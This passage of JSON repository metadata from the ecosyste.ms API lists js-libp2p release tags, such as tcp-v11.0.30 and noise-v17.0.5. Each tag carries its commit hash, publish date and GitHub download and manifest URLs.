.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.30/manifests"},{"name":"transport-interop-libp2p-main-v1.0.43","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.43","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.43/manifests"},{"name":"tls-v3.1.12","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.12/manifests"},{"name":"tcp-v11.0.30","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.30/manifests"},{"name":"simple-metrics-v2.0.23","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/simple-metrics-v2.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/simple-metrics-v2.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@simple-metrics-v2.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.23/manifests"},{"name":"prometheus-metrics-v5.0.31","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.31/manifests"},{"name":"pnet-v3.0.31","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.31/manifests"},{"name":"plaintext-v3.0.30","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.30/manifests"},{"name":"ping-v3.1.15","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.15/manifests"},{"name":"perf-v5.1.16","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.16/manifests"},{"name":"peer-store-v12.0.30","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.30/manifests"},{"name":"peer-record-v9.0.18","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-record-v9.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-record-v9.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-record-v9.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.18/manifests"},{"name":"peer-id-v6.0.17","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-id-v6.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-id-v6.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-id-v6.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.17/manifests"},{"name":"peer-collections-v7.0.30","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.30/manifests"},{"name":"opentelemetry-metrics-v2.0.31","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.31/manifests"},{"name":"noise-v17.0.5","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/noise-v17.0.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/noise-v17.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@noise-v17.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.5/manifests"},{"name":"multistream-select-v7.0.30","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.30/manifests"},{"name":"mplex-v12.0.34","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.34","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.34/manifests"},{"name":"memory-v2.0.30","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.30/manifests"},{"name":"mdns-v12.0.34","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.34","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.34/manifests"},{"name":"logger-v6.2.15","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/logger-v6.2.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/logger-v6.2.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@logger-v6.2.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.15/manifests"},{"name":"libp2p-v3.4.0","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.4.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.4.0/manifests"},{"name":"keychain-v6.1.9","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.1.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.9/manifests"},{"name":"kad-dht-v16.4.7","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.4.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.7/manifests"},{"name":"interop-v14.0.41","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.41","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.41/manifests"},{"name":"interface-v3.4.0","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-v3.4.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.4.0/manifests"},{"name":"interface-internal-v3.2.0","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.2.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.2.0/manifests"},{"name":"interface-compliance-tests-v7.0.34","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.34","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.34/manifests"},{"name":"integration-tests-v1.2.26","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.26/manifests"},{"name":"identify-v4.1.16","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.16/manifests"},{"name":"gossipsub-v17.1.4","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v17.1.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v17.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v17.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.1.4/manifests"},{"name":"floodsub-v11.0.32","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.32/manifests"},{"name":"fetch-v4.1.15","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.15/manifests"},{"name":"echo-v3.1.16","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.16/manifests"},{"name":"dcutr-v3.0.30","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.30/manifests"},{"name":"daemon-v6.0.41","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.41","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.41/manifests"},{"name":"daemon-server-v9.0.41","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.41","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.41/manifests"},{"name":"daemon-protocol-v8.0.13","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-protocol-v8.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-protocol-v8.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-protocol-v8.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.13/manifests"},{"name":"daemon-client-v10.0.41","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.41","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.41/manifests"},{"name":"crypto-v5.1.25","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/crypto-v5.1.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/crypto-v5.1.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@crypto-v5.1.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.25/manifests"},{"name":"config-v1.1.39","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.39","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.39/manifests"},{"name":"circuit-relay-v2-v4.2.15","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.15","html_url":"https://github.